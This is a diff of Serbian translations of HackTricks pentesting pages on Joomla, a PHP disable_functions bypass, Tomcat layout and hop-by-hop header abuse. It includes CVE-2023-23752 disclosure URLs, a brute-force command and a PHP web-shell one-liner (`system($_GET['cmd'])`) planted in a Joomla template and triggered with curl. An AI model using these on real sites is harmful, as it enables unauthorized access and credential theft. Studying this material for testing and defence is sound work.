Verzije od 4.0.0 do 4.2.7 su ranjive na neautentifikovano otkrivanje informacija (CVE-2023-23752) koje će izbaciti kredencijale i druge informacije.
|
||||
|
||||
* Korisnici: `http://<host>/api/v1/users?public=true`
|
||||
|
||||
* Konfiguracioni fajl: `http://<host>/api/index.php/v1/config/application?public=true`
|
||||
* Konfiguracioni Fajl: `http://<host>/api/index.php/v1/config/application?public=true`
|
||||
|
||||
**MSF Modul**: `scanner/http/joomla_api_improper_access_checks` ili ruby skripta: [51334](https://www.exploit-db.com/exploits/51334)
|
||||
|
||||
### Brute-Force
|
||||
|
||||
Možete koristiti ovaj [skript](https://github.com/ajnik/joomla-bruteforce) da pokušate da izvršite brute force login.
|
||||
Možete koristiti ovu [skriptu](https://github.com/ajnik/joomla-bruteforce) da pokušate brute force prijavu.
|
||||
```shell-session
|
||||
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
||||
|
||||
|
@ -97,11 +105,26 @@ admin:admin
|
|||
```
|
||||
## RCE
|
||||
|
||||
Ako ste uspeli da dobijete **admin pristupne podatke** možete **izvršiti udaljeni kod** dodavanjem isečka **PHP koda** kako biste dobili **RCE**. To možemo uraditi **prilagođavanjem** šablona.
|
||||
Ako ste uspeli da dobijete **admin kredencijale**, možete **RCE unutar njega** dodavanjem dela **PHP koda** za dobijanje **RCE**. To možemo uraditi **prilagođavanjem** **šablona**.
|
||||
|
||||
1. **Kliknite** na **`Templates`** na dnu leve strane ispod `Configuration` kako biste otvorili meni sa šablonima.
|
||||
2. **Kliknite** na ime **šablona**. Izaberimo **`protostar`** pod `Template` zaglavljem. To će nas odvesti na stranicu **`Templates: Customise`**.
|
||||
3. Na kraju, možete kliknuti na stranicu da otvorite **izvorni kod stranice**. Izaberimo stranicu **`error.php`**. Dodajmo **PHP jednolinijski kod za izvršenje koda** na sledeći način:
|
||||
1. **Kliknite** na **`Templates`** u donjem levom uglu pod `Configuration` da otvorite meni šablona.
|
||||
2. **Kliknite** na ime **šablona**. Izaberimo **`protostar`** pod naslovom kolone `Template`. Ovo će nas odvesti na stranicu **`Templates: Customise`**.
|
||||
3. Na kraju, možete kliknuti na stranicu da otvorite **izvor stranice**. Izaberimo stranicu **`error.php`**. Dodaćemo **PHP jedan-liner za dobijanje izvršenja koda** na sledeći način:
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **Sačuvajte & Zatvorite**
|
||||
4. **Sačuvaj i zatvori**
|
||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# disable\_functions zaobilaženje - PHP 7.0-7.4 (samo za \*nix)
|
||||
# disable\_functions bypass - PHP 7.0-7.4 (\*nix samo)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PHP 7.0-7.4 (samo za \*nix)
|
||||
## PHP 7.0-7.4 (\*nix samo)
|
||||
|
||||
Sa [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)
|
||||
```php
|
||||
|
@ -235,14 +238,17 @@ write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
|
|||
exit();
|
||||
}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Osnovne informacije o Tomcat-u
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,9 +23,9 @@
|
|||
|
||||
***
|
||||
|
||||
### Izbegavajte pokretanje sa root privilegijama
|
||||
### Izbegavajte pokretanje sa root-om
|
||||
|
||||
Kako ne biste pokretali Tomcat sa root privilegijama, veoma česta konfiguracija je postavljanje Apache servera na portu 80/443 i, ako tražena putanja odgovara regularnom izrazu, zahtev se šalje Tomcat-u koji radi na drugom portu.
|
||||
Da ne biste pokretali Tomcat sa root-om, veoma uobičajena konfiguracija je postavljanje Apache servera na portu 80/443 i, ako putanja zahteva odgovara regexp-u, zahtev se šalje Tomcat-u koji radi na drugom portu.
|
||||
|
||||
### Podrazumevana struktura
|
||||
```
|
||||
|
@ -49,14 +52,14 @@ Kako ne biste pokretali Tomcat sa root privilegijama, veoma česta konfiguracija
|
|||
└── Catalina
|
||||
└── localhost
|
||||
```
|
||||
* `bin` folder čuva skripte i binarne datoteke potrebne za pokretanje i rad Tomcat servera.
|
||||
* `conf` folder čuva različite konfiguracione datoteke koje koristi Tomcat.
|
||||
* Datoteka `tomcat-users.xml` čuva korisničke podatke i njihove dodeljene uloge.
|
||||
* `lib` folder sadrži različite JAR datoteke potrebne za ispravno funkcionisanje Tomcat-a.
|
||||
* `logs` i `temp` folderi čuvaju privremene log datoteke.
|
||||
* `webapps` folder je podrazumevani webroot Tomcat-a i hostuje sve aplikacije. `work` folder funkcioniše kao keš i koristi se za čuvanje podataka tokom izvršavanja.
|
||||
* Folder `bin` čuva skripte i binarne datoteke potrebne za pokretanje i rad Tomcat servera.
|
||||
* Folder `conf` čuva razne konfiguracione datoteke koje koristi Tomcat.
|
||||
* Datoteka `tomcat-users.xml` čuva korisničke akreditive i njihove dodeljene uloge.
|
||||
* Folder `lib` sadrži razne JAR datoteke potrebne za ispravno funkcionisanje Tomcat-a.
|
||||
* Folderi `logs` i `temp` čuvaju privremene log datoteke.
|
||||
* Folder `webapps` je podrazumevani webroot Tomcat-a i hostuje sve aplikacije. Folder `work` deluje kao keš i koristi se za čuvanje podataka tokom izvršavanja.
|
||||
|
||||
Očekuje se da svaki folder unutar `webapps` ima sledeću strukturu.
|
||||
Svaki folder unutar `webapps` se očekuje da ima sledeću strukturu.
|
||||
```
|
||||
webapps/customapp
|
||||
├── images
|
||||
|
@ -73,8 +76,8 @@ webapps/customapp
|
|||
└── classes
|
||||
└── AdminServlet.class
|
||||
```
|
||||
Najvažnija datoteka među njima je `WEB-INF/web.xml`, poznata kao opisnik implementacije. Ova datoteka čuva **informacije o rutama** koje koristi aplikacija i klase koje upravljaju tim rutama.\
|
||||
Sve kompajlirane klase koje koristi aplikacija treba čuvati u fascikli `WEB-INF/classes`. Te klase mogu sadržati važnu poslovnu logiku kao i osetljive informacije. Svaka ranjivost u ovim datotekama može dovesti do potpunog kompromitovanja veb sajta. Fascikla `lib` čuva biblioteke potrebne toj određenoj aplikaciji. Fascikla `jsp` čuva [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), ranije poznate kao `JavaServer Pages`, koje se mogu uporediti sa PHP datotekama na Apache serveru.
|
||||
Najvažnija datoteka među ovim je `WEB-INF/web.xml`, koja je poznata kao deskriptor implementacije. Ova datoteka čuva **informacije o rutama** koje koristi aplikacija i klase koje obrađuju te rute.\
|
||||
Sve kompajlirane klase koje koristi aplikacija treba da budu smeštene u `WEB-INF/classes` folderu. Ove klase mogu sadržati važnu poslovnu logiku kao i osetljive informacije. Svaka ranjivost u ovim datotekama može dovesti do potpunog kompromitovanja veb sajta. `lib` folder čuva biblioteke potrebne toj konkretnoj aplikaciji. `jsp` folder čuva [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), ranije poznate kao `JavaServer Pages`, koje se mogu uporediti sa PHP datotekama na Apache serveru.
|
||||
|
||||
Evo primera **web.xml** datoteke.
|
||||
```xml
|
||||
|
@ -94,15 +97,15 @@ Evo primera **web.xml** datoteke.
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
Konfiguracija `web.xml` gore definiše **novi servlet nazvan `AdminServlet`** koji je mapiran na **klasu `com.inlanefreight.api.AdminServlet`**. Java koristi tačkastu notaciju za kreiranje imena paketa, što znači da bi putanja na disku za gore navedenu klasu bila:
|
||||
The `web.xml` конфигурација изнад дефинише **нови сервлет под именом `AdminServlet`** који је мапиран на **класа `com.inlanefreight.api.AdminServlet`**. Java користи тачкасту нотацију за креирање имена пакета, што значи да је пут на диску за класу дефинисану изнад:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
Zatim je kreirano novo mapiranje servleta da **mapira zahteve na `/admin` sa `AdminServlet`**. Ova konfiguracija će poslati svaki zahtev primljen za **`/admin` klasi `AdminServlet.class`** na obradu. Deskriptor **`web.xml`** sadrži mnogo **osetljivih informacija** i važan je fajl za proveru prilikom iskorišćavanja **Local File Inclusion (LFI) ranjivosti**.
|
||||
Следеће, нова мапа сервлета се креира да **мапира захтеве на `/admin` са `AdminServlet`**. Ова конфигурација ће послати сваки захтев примљен за **`/admin` на класу `AdminServlet.class`** за обраду. **`web.xml`** дескриптор садржи много **осетљивих информација** и важан је фајл за проверу када се користи **Local File Inclusion (LFI) vulnerability**.
|
||||
|
||||
### tomcat-users
|
||||
|
||||
Fajl **`tomcat-users.xml`** se koristi da **dozvoli** ili zabrani pristup **`/manager` i `host-manager` admin stranicama**.
|
||||
**`tomcat-users.xml`** фајл се користи за **дозволу** или забрану приступа **`/manager` и `host-manager` администраторским страницама**.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -143,7 +146,7 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
Datoteka nam pokazuje na šta svaka od uloga `manager-gui`, `manager-script`, `manager-jmx` i `manager-status` omogućava pristup. U ovom primeru, možemo videti da korisnik `tomcat` sa lozinkom `tomcat` ima ulogu `manager-gui`, a druga slaba lozinka `admin` postavljena je za korisnički nalog `admin`
|
||||
Fajl nam pokazuje šta svaka od uloga `manager-gui`, `manager-script`, `manager-jmx` i `manager-status` omogućava. U ovom primeru, možemo videti da korisnik `tomcat` sa lozinkom `tomcat` ima ulogu `manager-gui`, a druga slaba lozinka `admin` je postavljena za korisnički nalog `admin`.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -155,14 +158,17 @@ Datoteka nam pokazuje na šta svaka od uloga `manager-gui`, `manager-script`, `m
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,60 @@
|
|||
# Hop-by-hop zaglavlja
|
||||
# hop-by-hop headers
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Ovo je sažetak posta [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)**
|
||||
|
||||
Hop-by-hop zaglavlja su specifična za jednu transportnu vezu, uglavnom se koriste u HTTP/1.1 za upravljanje podacima između dve čvorove (kao što su klijent-proxy ili proxy-proxy) i nisu namenjena za prosleđivanje. Standardna hop-by-hop zaglavlja uključuju `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` i `Proxy-Authenticate`, kako je definisano u [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Dodatna zaglavlja mogu biti označena kao hop-by-hop putem zaglavlja `Connection`.
|
||||
Hop-by-hop zaglavlja su specifična za jednu transportnu vezu, koriste se prvenstveno u HTTP/1.1 za upravljanje podacima između dva čvora (kao što su klijent-proxy ili proxy-proxy) i nisu namenjena za prosleđivanje. Standardna hop-by-hop zaglavlja uključuju `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` i `Proxy-Authenticate`, kako je definisano u [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Dodatna zaglavlja mogu biti označena kao hop-by-hop putem `Connection` zaglavlja.
|
||||
|
||||
### Zloupotreba Hop-by-Hop zaglavlja
|
||||
Nepropisno upravljanje hop-by-hop zaglavlja od strane proxy-ja može dovesti do sigurnosnih problema. Iako se očekuje da proxy-ji uklone ova zaglavlja, neki to ne čine, što stvara potencijalne ranjivosti.
|
||||
### Abusing Hop-by-Hop Headers
|
||||
Nepravilno upravljanje hop-by-hop zaglavljima od strane proksija može dovesti do bezbednosnih problema. Dok se od proksija očekuje da uklone ova zaglavlja, ne rade svi to, što stvara potencijalne ranjivosti.
|
||||
|
||||
### Testiranje obrade Hop-by-Hop zaglavlja
|
||||
Obrada hop-by-hop zaglavlja može se testirati posmatranjem promena u odgovorima servera kada se određena zaglavlja označe kao hop-by-hop. Alati i skripte mogu automatizovati ovaj proces, identifikujući kako proxy-ji upravljaju ovim zaglavljima i potencijalno otkrivajući loše konfiguracije ili ponašanja proxy-ja.
|
||||
### Testing for Hop-by-Hop Header Handling
|
||||
Upravljanje hop-by-hop zaglavljima može se testirati posmatranjem promena u odgovorima servera kada su određena zaglavlja označena kao hop-by-hop. Alati i skripte mogu automatizovati ovaj proces, identifikujući kako proksiji upravljaju ovim zaglavljima i potencijalno otkrivajući pogrešne konfiguracije ili ponašanja proksija.
|
||||
|
||||
Zloupotreba hop-by-hop zaglavlja može dovesti do različitih sigurnosnih implikacija. U nastavku su prikazani neki primeri koji pokazuju kako se ova zaglavlja mogu manipulisati u potencijalne napade:
|
||||
Zloupotreba hop-by-hop zaglavlja može dovesti do različitih bezbednosnih implikacija. Ispod su dva primera koja pokazuju kako se ova zaglavlja mogu manipulisati za potencijalne napade:
|
||||
|
||||
### Zaobilaženje sigurnosnih kontrola pomoću `X-Forwarded-For`
|
||||
Napadač može manipulisati zaglavljem `X-Forwarded-For` kako bi zaobišao kontrolu pristupa zasnovanu na IP adresi. Ovo zaglavlje se često koristi od strane proxy-ja kako bi pratili IP adresu porekla klijenta. Međutim, ako proxy tretira ovo zaglavlje kao hop-by-hop i prosleđuje ga bez odgovarajuće validacije, napadač može lažirati svoju IP adresu.
|
||||
### Bypassing Security Controls with `X-Forwarded-For`
|
||||
Napadač može manipulisati `X-Forwarded-For` zaglavljem kako bi zaobišao IP-bazirane kontrole pristupa. Ovo zaglavlje se često koristi od strane proksija za praćenje izvorne IP adrese klijenta. Međutim, ako proksi tretira ovo zaglavlje kao hop-by-hop i prosledi ga bez pravilne validacije, napadač može lažirati svoju IP adresu.
|
||||
|
||||
**Scenario napada:**
|
||||
1. Napadač šalje HTTP zahtev veb aplikaciji iza proxy-ja, uključujući lažnu IP adresu u zaglavlju `X-Forwarded-For`.
|
||||
2. Napadač takođe uključuje zaglavlje `Connection: close, X-Forwarded-For`, što natera proxy da tretira `X-Forwarded-For` kao hop-by-hop.
|
||||
3. Loše konfigurisani proxy prosleđuje zahtev veb aplikaciji bez lažnog zaglavlja `X-Forwarded-For`.
|
||||
4. Veb aplikacija, ne videći originalno zaglavlje `X-Forwarded-For`, može smatrati zahtev dolazi direktno od pouzdanog proxy-ja, što potencijalno omogućava neovlašćen pristup.
|
||||
**Scenarijo napada:**
|
||||
1. Napadač šalje HTTP zahtev web aplikaciji iza proksija, uključujući lažnu IP adresu u `X-Forwarded-For` zaglavlju.
|
||||
2. Napadač takođe uključuje `Connection: close, X-Forwarded-For` zaglavlje, podstičući proksi da tretira `X-Forwarded-For` kao hop-by-hop.
|
||||
3. Pogrešno konfigurisan proksi prosledi zahtev web aplikaciji bez lažiranog `X-Forwarded-For` zaglavlja.
|
||||
4. Web aplikacija, ne videći originalno `X-Forwarded-For` zaglavlje, može smatrati zahtev kao da dolazi direktno iz pouzdane proksi, potencijalno omogućavajući neovlašćen pristup.
|
||||
|
||||
### Trovanje keša putem ubacivanja zaglavlja Hop-by-Hop
|
||||
Ako keš server netačno kešira sadržaj na osnovu hop-by-hop zaglavlja, napadač može ubaciti zlonamerna zaglavlja kako bi otrovao keš. Ovo bi poslužilo netačan ili zlonameran sadržaj korisnicima koji zahtevaju isti resurs.
|
||||
### Cache Poisoning via Hop-by-Hop Header Injection
|
||||
Ako server za keširanje pogrešno kešira sadržaj na osnovu hop-by-hop zaglavlja, napadač može injektovati zlonamerna zaglavlja kako bi otrovao keš. Ovo bi poslužilo netačan ili zlonameran sadržaj korisnicima koji traže isti resurs.
|
||||
|
||||
**Scenario napada:**
|
||||
1. Napadač šalje zahtev veb aplikaciji sa zaglavljem hop-by-hop koje ne bi trebalo da se kešira (npr. `Connection: close, Cookie`).
|
||||
2. Loše konfigurisani keš server ne uklanja hop-by-hop zaglavlje i kešira odgovor specifičan za sesiju napadača.
|
||||
3. Budući korisnici koji zahtevaju isti resurs dobijaju keširan odgovor, koji je prilagođen napadaču, što potencijalno dovodi do preuzimanja sesije ili otkrivanja osetljivih informacija.
|
||||
**Scenarijo napada:**
|
||||
